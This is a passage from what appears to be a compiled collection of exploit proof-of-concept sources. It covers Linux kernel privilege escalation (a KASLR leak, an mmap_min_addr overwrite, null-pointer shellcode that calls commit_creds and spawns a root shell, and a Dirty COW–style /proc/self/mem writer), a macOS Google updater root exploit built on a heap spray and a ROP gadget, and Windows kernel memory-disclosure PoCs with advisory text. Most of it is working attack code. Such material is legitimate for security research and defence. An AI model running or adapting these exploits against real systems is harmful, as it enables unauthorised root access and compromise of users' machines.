printf("alloc_len : %d\n", 48 + strlen(orig_name)+1);
}
void main(void)
{
pthread_t notify_thread[4];
pthread_t rename_thread;
int i = 0;
char buf[1024];
snprintf(buf, sizeof buf, "touch test_dir/%s", orig_name);
system("rm -rf /data/local/tmp/test_dir ; mkdir test_dir");
system(buf);
for ( i ; i < 2; i++ ) {
pthread_create(¬ify_thread[i],
NULL,
notify_thread_func,
NULL);
}
//Trigger inotify event by file open and rename to
//trigger the vulnerability
pthread_create(&rename_thread, NULL, trigger_rename_open, NULL);
pthread_join(rename_thread, NULL);
for ( i = 0; i < 2; i++ )
pthread_join(notify_thread[i], NULL);
}
/** disable_map_min_add.c **/
/*
*
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/resource.h>
#include <syscall.h>
/* offsets might differ, kernel was custom compiled
* you can read vmlinux and caculate the offset when testing
*/
/*
#define OFFSET_KERNEL_BASE 0x000000
*/
#define MMAP_MIN_ADDR 0x1101de8
#define DAC_MMAP_MIN_ADDR 0xe8e810
/* get kernel functions address by reading /proc/kallsyms */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}
int main(void)
{
int pid, pid2, pid3;
struct rusage rusage = { };
unsigned long *p, *kernel_base;
char *mmap_min_addr, *dac_mmap_min_addr;
pid = fork();
if (pid > 0) {
/* try to bypass kaslr when /proc/kallsyms isn't readable */
syscall(__NR_waitid, P_PID, pid, NULL, WEXITED|WNOHANG|__WNOTHREAD, &rusage);
printf("[+] Leak size=%d bytes\n", sizeof(rusage));
for (p = (unsigned long *)&rusage;
p < (unsigned long *)((char *)&rusage + sizeof(rusage));
p++) {
printf("[+] Leak point: %p\n", p);
if (*p > 0xffffffff00000000 && *p < 0xffffffffff000000) {
p = (unsigned long *)(*p&0xffffffffff000000 /*+ OFFSET_TO_BASE*/); // spender's wouldn't actually work when KASLR was enabled
break;
}
}
if(p < (unsigned long *)0xffffffff00000000 || p > (unsigned long *)0xffffffffff000000)
exit(-1);
} else if (pid == 0) {
sleep(1);
exit(0);
}
kernel_base = get_kernel_sym("startup_64");
printf("[+] Got kernel base: %p\n", kernel_base);
mmap_min_addr = (char *)kernel_base + MMAP_MIN_ADDR;
printf("[+] Got mmap_min_addr: %p\n", mmap_min_addr);
dac_mmap_min_addr = (char *)kernel_base + DAC_MMAP_MIN_ADDR;
printf("[+] Got dac_mmap_min_addr: %p\n", dac_mmap_min_addr);
pid2 = fork();
if (pid2 > 0) {
printf("[+] Overwriting map_min_addr...\n");
if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) {
printf("[-] Failed!\n");
exit(1);
}
} else if (pid2 == 0) {
sleep(1);
exit(0);
}
pid3 = fork();
if (pid3 > 0) {
printf("[+] Overwriting dac_mmap_min_addr...\n");
if (syscall(__NR_waitid, P_PID, pid, (siginfo_t *)(dac_mmap_min_addr - 2), WEXITED|WNOHANG|__WNOTHREAD, NULL) < 0) {
printf("[-] Failed!\n");
exit(1);
}
printf("[+] map_min_addr disabled!\n");
exit(0);
} else if (pid3 == 0) {
sleep(1);
exit(0);
}
return 0;
}
/** disable_map_min_add.c EOF **/
/** null_poiter_exploit.c **/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <unistd.h>
#include <fcntl.h>
struct cred;
struct task_struct;
typedef struct cred *(*prepare_kernel_cred_t) (struct task_struct *daemon) __attribute__((regparm(3)));
typedef int (*commit_creds_t) (struct cred *new) __attribute__((regparm(3)));
prepare_kernel_cred_t prepare_kernel_cred;
commit_creds_t commit_creds;
/* a kernel null pointer derefence will help get privilege
* /proc/test is a kernel-load module create for testing
* touch_null_kp can be replace your own implement to
* touch a kernel null ponit
*/
void touch_null_kp() {
printf("[+]Start touch kernel null point\n");
int *f = open("/proc/test", O_RDONLY);
read(f, NULL, 0);
}
/* run shell after root */
void get_shell() {
char *argv[] = {"/bin/sh", NULL};
if (getuid() == 0){
printf("[+] Root shell success !! :)\n");
execve("/bin/sh", argv, NULL);
}
printf("[-] failed to get root shell :(\n");
}
/* use for privilige escalation */
void get_root() {
commit_creds(prepare_kernel_cred(0));
}
/* get function address by reading /proc/kallsyms */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
printf("[-] Failed to open /proc/kallsyms\n");
exit(-1);
}
printf("[+] Find %s...\n", name);
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
printf("[+] Found %s at %lx\n", name, addr);
return addr;
}
}
fclose(f);
return 0;
}
int main(int ac, char **av)
{
/* get function address */
prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
printf("Got commit_creds:%p,prepare_kernel_cred%p\n", commit_creds, prepare_kernel_cred);
/* allocate memory loacate in 0x00 */
printf("[+] Try to allocat 0x00000000...\n");
if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
printf("[-] Failed to allocat 0x00000000\n");
return -1;
}
printf("[+] Allocation success !\n");
/* memset(0, 0xcc, 4096); */
/*
//movq rax, 0xffffffff81f3f45a
//movq [rax], 0
// it is not nessecc
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
*/
unsigned char shellcode[] =
{ /*0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, *//*0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00,*/ 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
/* insert the getroot address to shellcode */
void **get_root_offset = rawmemchr(shellcode, 0x42);
(*get_root_offset) = get_root;
/* map shellcode to 0x00 */
memcpy(0, shellcode, sizeof(shellcode));
/* jmp to 0x00 */
touch_null_kp();
get_shell();
}
/** null_poiter_exploit.c EOF **/
/** test.c **/
#include <linux/init.h>
#include <linux/module.h>
#include <linux/proc_fs.h>
#include <linux/uaccess.h>
#include <linux/slab.h>
#include <asm/ptrace.h>
#include <asm/thread_info.h>
#define MY_DEV_NAME "test"
#define DEBUG_FLAG "PROC_DEV"
extern unsigned long proc_test_sp_print;
static ssize_t proc_read (struct file *proc_file, char __user *proc_user, size_t n, loff_t *loff);
static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff);
static int proc_open (struct inode *proc_inode, struct file *proc_file);
static struct file_operations a = {
.open = proc_open,
.read = proc_read,
.write = proc_write,
};
static int __init mod_init(void)
{
struct proc_dir_entry *test_entry;
const struct file_operations *proc_fops = &a;
printk(DEBUG_FLAG":proc init start\n");
test_entry = proc_create(MY_DEV_NAME, S_IRUGO|S_IWUGO, NULL, proc_fops);
if(!test_entry)
printk(DEBUG_FLAG":there is somethings wrong!\n");
printk(DEBUG_FLAG":proc init over!\n");
return 0;
}
static ssize_t proc_read (struct file *proc_file, char *proc_user, size_t n, loff_t *loff)
{
void (*fun)(void);
fun = NULL;
//printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack);
fun();
//printk("The memory of %p : %d\n", proc_user, *proc_user);
return 0;
}
static ssize_t proc_write (struct file *proc_file, const char __user *proc_user, size_t n, loff_t *loff)
{
printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack);
return 0;
}
int proc_open (struct inode *proc_inode, struct file *proc_file)
{
printk(DEBUG_FLAG":into open, cmdline:%s!\n", current->comm);
printk("%s:thread.sp0: %p, task->stack: %p\n", "PROC", current->thread.sp0, current->stack);
return 0;
}
module_init(mod_init);
/** test.c EOF **/
/*
* The source is modified from
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1431
* I try to find out infomation useful from the infoleak
* The kernel address can be easily found out from the uninitialized memory
* leaked from kernel, which can help bypass kaslr
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
int main(void) {
unsigned char buf[getpagesize()/sizeof(unsigned char)];
int right = 1;
unsigned long addr = 0;
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED)
err(1, "mmap");
while(right){
/* Touch a mishandle with this type mapping */
if (mincore((void*)0x86000000, 0x1000000, buf))
perror("mincore");
for( int n=0; n<getpagesize()/sizeof(unsigned char); n++) {
addr = *(unsigned long*)(&buf[n]);
/* Kernel address space, may need some mask&offset */
if(addr > 0xffffffff00000000){
right = 0;
goto out;
}
}
}
out:
printf("%p\n", addr);
return 0;
}
/*
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
Distributed Objects are very very hard to safely use across a privileged boundary.
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.
In this case I'm targetting the following code in CoreFoundation:
static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
for (CFIndex idx = 0; idx < 2 * count; idx++) {
_flattenPlist(list[idx], objlist, objtable, uniquingset);
}
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
build this PoC:
clang -o ks ks.m -framework Foundation -framework CoreFoundation
start lldb waiting for the daemon to start:
sudo lldb --wait-for -n "/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon"
continue lldb and run the poc, you should see that the stack ends up pointing well outside the stack :)
*/
/*
ianbeer
Google software updater LPE on MacOS due to unsafe use of Distributed Objects
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
Distributed Objects are very very hard to safely use across a privileged boundary.
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.
In this case I'm targetting the following code in CoreFoundation:
static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
for (CFIndex idx = 0; idx < 2 * count; idx++) {
_flattenPlist(list[idx], objlist, objtable, uniquingset);
}
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
build this PoC:
clang -o ks_r00t ks_r00t.m -framework Foundation -framework CoreFoundation
This PoC exploit will run the shell script /tmp/x.sh as root.
*/
#import <objc/Object.h>
#import <Foundation/Foundation.h>
#import <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#import <stdio.h>
#include <stdlib.h>
#import <unistd.h>
@interface FakeCFObject : NSObject
{
int count;
}
- (id) init;
- (CFTypeID) _cfTypeID;
- (void) getObjects:(id)objs andKeys:(id)keys;
- (void) getObjects:(id)objs range:(id)r;
- (unsigned long) count;
@end
@implementation FakeCFObject
- (id)init {
self = [super init];
if (self) {
count = 0;
}
return self;
}
- (CFTypeID) _cfTypeID;
{
NSLog(@"called cfTypeID");
count++;
switch (count) {
case 1:
return CFStringGetTypeID();
default:
return CFArrayGetTypeID();
}
}
- (unsigned long) count;
{
NSLog(@"called count");
uint64_t rsp_guess = 0x700006000000;
uint64_t heap_spray_guess = 0x150505000;
uint64_t sub_rsp = rsp_guess - heap_spray_guess;
sub_rsp >>= 3;
sub_rsp |= (1ull<<63);
printf("count: 0x%016llx\n", sub_rsp);
return sub_rsp;
}
- (void) getObjects:(id)objs andKeys:(id)keys;
{
NSLog(@"called getObjects_andKeys");
}
- (void) getObjects:(id)objs range:(id)r;
{
NSLog(@"called getObjects_andKeys");
}
@end
// heap sprap assumption is that this will end up at 0x150505000
/*
heap spray structure:
we need to spray for two values, firstly the bug will sub rsp, CONTROLLED
we want that to put the stack into the spray allocation
+----------------------+
| |
| regular thread stack |
| |
+-- +......................+ <-- base of stack when we use the bug to cause a
| . . massive sub rsp, X to move the stack pointer into the heap spray
| . <many TB of virtual .
| . address space> .
| . .
| | + - - - - - - - + <--^--- 1G heap spray
| | | FAKE_OBJC | | top half is filled with fake objective c class objects
| | | FAKE_OBJC | | bottom half is filled with 0x170707000
| | | FAKE_OBJC | |
| | | ... | | +--- these pointers all hopefully point somewhere into the top half of the heap spray
| | + - - - - - - - + | |
| | | 0x170707000 | <--^-+
| | | 0x170707000 | | +-- this is the first entry in the stack-allocated buffer
| | | 0x170707000 | | | if we override the getObjectsforRange selector of the D.O. so that nothing gets
| | | ... | | | filled in here this will be used uninitialized
| | | 0x170707000 | <--^--+
+-> +-----------------| <--^--- rsp points here after the massive sub.
| | 0x170707000 | | we want rsp to point anywhere in the lower half of the heap spray
| | xxxxxxxxxxx | |
| | xxxxxxxxxxx | |
| | 0x170707000 | |
| +---------------+ <--^--- we send this 1G region as an NSData object
. .
. .
When we get RIP control rdi will point to the bottom of the alloca buffer.
That is, it will point to a qword containing 0x170707070
The gadget below will turn that into RIP control with rdi pointing to the fake objective-c
class object. Since the first 16 bytes of that are unused by objc_msgSend we can point the
second fptr to system and put a 16 byte command at the start of the fake class.
*/
// this is tls_handshake_set_protocol_version_callback in Security.framework:
char* gadget =
"\x55" // push rbp
"\x48\x89\xE5" // mov rbp, rsp
"\x89\x77\x58" // mov [rdi+58h], esi
"\x48\x8B\x47\x28" // mov rax, [rdi+28h]
"\x48\x8B\x7F\x30" // mov rdi, [rdi+30h]
"\x48\x8B\x40\x30" // mov rax, [rax+30h]
"\x5D" // pop rbp
"\xFF\xE0"; // jmp rax
uint64_t gadget_address() {
void* haystack = dlsym(RTLD_DEFAULT, "NSAllocateObject");
printf("haystack: %p\n", haystack);
void* found_at = memmem(haystack, 0x10000000, gadget, 22);
printf("found at: %p\n", found_at);
return found_at;
}
// heap spray target of 0x170707000
// this will be the page containing the fake objective c object
void* build_upper_heap_spray_page() {
uint64_t spray_target = 0x170707000;
uint64_t target_fptr = gadget_address();
struct fake_objc_obj {
char cmd[16];
uint64_t cache_buckets_ptr; // +0x10
uint64_t cache_buckets_mask; // +0x18
uint64_t cached_sel; // +0x20
uint64_t cached_fptr; // +0x28
uint64_t second_fptr; // +0x30
};
struct fake_objc_obj* buf = malloc(PAGE_SIZE);
memset(buf, 'B', PAGE_SIZE);
uint64_t target_selector = (uint64_t)sel_registerName("class");
printf("target selector address: %llx\n", target_selector);
strcpy(buf->cmd, "/tmp/x.sh");
buf->cache_buckets_ptr = spray_target + 0x20;
buf->cache_buckets_mask = 0;
buf->cached_sel = target_selector;
buf->cached_fptr = target_fptr;
buf->second_fptr = (uint64_t)system;
return buf;
}
// heap spray target of 0x150505000
// this will be the page containing the pointer to the fake objective c class
void* build_lower_heap_spray_page() {
uint64_t* buf = malloc(PAGE_SIZE);
for (int i = 0; i < PAGE_SIZE/8; i++) {
buf[i] = 0x170707000;
}
return buf;
}
int main() {
id theProxy;
theProxy = [[NSConnection
rootProxyForConnectionWithRegisteredName:@"com.google.Keystone.Daemon.UpdateEngine"
host:nil] retain];
printf("%p\n", theProxy);
FakeCFObject* obj = [[FakeCFObject alloc] init];
NSDictionary* dict = @{@"ActivesInfo": obj};
id retVal = [theProxy claimEngineWithError:nil];
printf("retVal: %p\n", retVal);
uint32_t heap_spray_MB = 1024;
uint32_t heap_spray_bytes = heap_spray_MB * 1024 * 1024;
uint32_t heap_spray_n_pages = heap_spray_bytes / PAGE_SIZE;
void* lower_heap_spray_page = build_lower_heap_spray_page();
void* upper_heap_spray_page = build_upper_heap_spray_page();
uint8_t* heap_spray_full_buffer = malloc(heap_spray_bytes);
for (int i = 0; i < heap_spray_n_pages/2; i++) {
memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], lower_heap_spray_page, PAGE_SIZE);
}
for (int i = heap_spray_n_pages/2; i < heap_spray_n_pages; i++) {
memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], upper_heap_spray_page, PAGE_SIZE);
}
// wrap that in an NSData:
NSData* data = [NSData dataWithBytes:heap_spray_full_buffer length:heap_spray_bytes];
// trigger the bugs
[retVal setParams:dict authenticationPort:data];
return 0;
}
/*
*
* HuaWei Mate7 hifi driver Poc
*
* Writen by pray3r, <pray3r.z@gmail.com>
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#define HIFI_MISC_IOCTL_WRITE_PARAMS _IOWR('A', 0x75, struct misc_io_sync_param)
struct misc_io_sync_param {
void * para_in;
unsigned int para_size_in;
void * para_out;
unsigned int para_size_out;
};
int main(int arg, char **argv)
{
int fd;
void *in = malloc(300 * 1024);
void *out = malloc(100);
struct misc_io_sync_param poc;
poc.para_in = in;
poc.para_size_in = 300 * 1024;
poc.para_out = out;
poc.para_size_out = 100;
fd = open("/dev/hifi_misc", O_RDWR);
ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);
free(in);
free(out);
return 0;
}
/*
* The code is modified from https://www.exploit-db.com/exploits/43199/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sched.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#define TRIES_PER_PAGE (20000000)
#define PAGE_SIZE (0x1000)
#define MEMESET_VAL (0x41)
#define MAP_SIZE (0x200000)
#define STRING "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
#define OFFSIZE ((sizeof(STRING)-1)/sizeof(char))
struct args{
int fd;
void *p;
int stop;
off_t off;
char *chp;
};
void *write_thread(struct args *arg) {
for (int i = 0; i < TRIES_PER_PAGE && !arg->stop; i++) {
lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
write(arg->fd, STRING, sizeof(STRING));
lseek(arg->fd, (off_t)(arg->chp + arg->off*OFFSIZE), SEEK_SET);
}
return NULL;
}
void *wait_for_success(struct args *arg) {
while(*(arg->chp+arg->off*OFFSIZE) != 'A') {
int i = madvise(arg->p, MAP_SIZE, MADV_DONTNEED);
sched_yield();
}
arg->stop = 1;
return NULL;
}
int main(void) {
struct args arg;
arg.off = 0;
arg.p = mmap((void*)0x40000000, MAP_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
if(arg.p == MAP_FAILED)
perror("[!] mmap()");
arg.chp = arg.p;
printf("mmap address is %p\n", arg.p);
madvise(arg.p, MAP_SIZE, MADV_HUGEPAGE);
arg.fd = open("/proc/self/mem", O_RDWR);
if (arg.fd < 0) {
perror("[!] open()");
return 1;
}
while(arg.off < PAGE_SIZE/sizeof(STRING)) {
arg.stop = 0;
pthread_t thread0, thread1;
int ret = pthread_create(&thread0, NULL, (void *)wait_for_success, &arg);
ret |= pthread_create(&thread1, NULL, (void *)write_thread, &arg);
if (ret) {
perror("[!] pthread_create()");
return 1;
}
pthread_join(thread0, NULL);
pthread_join(thread1, NULL);
printf("[*] Done 0x%x String\n", arg.off);
arg.off++;
}
printf("[*] Overwrite a page\n");
printf("%s\n", arg.p);
return 0;
}
/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the 2 information class (MemoryMappedFilenameInformation) discloses portions of uninitialized kernel pool memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
The output buffer for this information class is a UNICODE_STRING structure followed by the actual filename string. The output data is copied back to user-mode memory under the following stack trace (on Windows 7 64-bit):
--- cut ---
kd> k
# Child-SP RetAddr Call Site
00 fffff880`03cfd8c8 fffff800`02970229 nt!memcpy+0x3
01 fffff880`03cfd8d0 fffff800`02970752 nt!IopQueryNameInternal+0x289
02 fffff880`03cfd970 fffff800`02967bb4 nt!IopQueryName+0x26
03 fffff880`03cfd9c0 fffff800`0296a80d nt!ObpQueryNameString+0xb0
04 fffff880`03cfdac0 fffff800`0268d093 nt!NtQueryVirtualMemory+0x5fb
05 fffff880`03cfdbb0 00000000`772abf6a nt!KiSystemServiceCopyEnd+0x13
--- cut ---
The UNICODE_STRING structure is defined as follows:
--- cut ---
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;
--- cut ---
On 64-bit builds, there is a 4-byte padding between the "MaximumLength" and "Buffer" fields inserted by the compiler, in order to align the "Buffer" pointer to 8 bytes. This padding is left uninitialized in the code and is copied in this form to user-mode clients, passing over left-over data from the kernel pool.
The issue can be reproduced by running the attached proof-of-concept program on a 64-bit system with the Special Pools mechanism enabled for ntoskrnl.exe. Then, it is clearly visible that bytes at offsets 4-7 are equal to the markers inserted by Special Pools, and would otherwise contain junk data that was previously stored in that memory region:
--- cut ---
00000000: 6c 00 6e 00[37 37 37 37]f0 f6 af 87 dd 00 00 00 l.n.7777........
--- cut ---
00000000: 6c 00 6e 00[59 59 59 59]e0 f6 b3 0f c8 00 00 00 l.n.YYYY........
--- cut ---
00000000: 6c 00 6e 00[7b 7b 7b 7b]40 f1 af 16 18 00 00 00 l.n.{{{{@.......
--- cut ---
00000000: 6c 00 6e 00[a3 a3 a3 a3]80 f0 90 aa 33 00 00 00 l.n.........3...
--- cut --
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <cstdio>
typedef enum _MEMORY_INFORMATION_CLASS {
MemoryMappedFilenameInformation = 2
} MEMORY_INFORMATION_CLASS;
extern "C"
NTSTATUS NTAPI NtQueryVirtualMemory(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress,
_In_ MEMORY_INFORMATION_CLASS MemoryInformationClass,
_Out_ PVOID MemoryInformation,
_In_ SIZE_T MemoryInformationLength,
_Out_opt_ PSIZE_T ReturnLength
);
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
int main() {
SIZE_T ReturnLength;
BYTE OutputBuffer[1024];
NTSTATUS st = NtQueryVirtualMemory(GetCurrentProcess(),
&main,
MemoryMappedFilenameInformation,
OutputBuffer,
sizeof(OutputBuffer),
&ReturnLength);
if (!NT_SUCCESS(st)) {
printf("NtQueryVirtualMemory failed, %x\n", st);
ExitProcess(1);
}
PrintHex(OutputBuffer, sizeof(UNICODE_STRING));
return 0;
}
/*
We have discovered a new Windows kernel memory disclosure vulnerability in the creation and copying of a EXCEPTION_RECORD structure to user-mode memory while passing execution to a user-mode exception handler. The vulnerability affects 64-bit versions of Windows 7 to 10.
The leak was originally detected under the following stack trace (Windows 7):
--- cut ---
kd> k
# Child-SP RetAddr Call Site
00 fffff880`040b7e18 fffff800`026ca362 nt!memcpy+0x3
01 fffff880`040b7e20 fffff800`026db3bc nt!KiDispatchException+0x421
02 fffff880`040b84b0 fffff800`0268fafb nt!KiRaiseException+0x1b4
03 fffff880`040b8ae0 fffff800`0268d093 nt!NtRaiseException+0x7b
04 fffff880`040b8c20 00000000`74b5cb49 nt!KiSystemServiceCopyEnd+0x13
--- cut ---
and more specifically in the copying of the EXCEPTION_RECORD structure:
--- cut ---
kd> dt _EXCEPTION_RECORD @rdx
ntdll!_EXCEPTION_RECORD
+0x000 ExceptionCode : 0n1722
+0x004 ExceptionFlags : 1
+0x008 ExceptionRecord : (null)
+0x010 ExceptionAddress : 0x00000000`765fc54f Void
+0x018 NumberParameters : 0
+0x020 ExceptionInformation : [15] 0xbbbbbbbb`bbbbbbbb
--- cut ---
In that structure, the entire "ExceptionInformation" array consisting of 15*8=120 bytes is left uninitialized and provided this way to the ring-3 client. The overall EXCEPTION_RECORD structure (which contains the ExceptionInformation in question) is allocated in the stack frame of the nt!KiRaiseException function.
Based on some cursory code analysis and manual experimentation, we believe that the kernel only fills as many ULONG_PTR's as the .NumberParameters field is set to (but not more than EXCEPTION_MAXIMUM_PARAMETERS), while the remaining entries of the array are never written to. As a result, running the attached proof-of-concept program reveals 120 bytes of kernel stack memory (set to the 0x41 marker with stack-spraying to illustrate the problem). An example output is as follows:
--- cut ---
00000000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000020: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000030: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000040: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000050: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000060: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
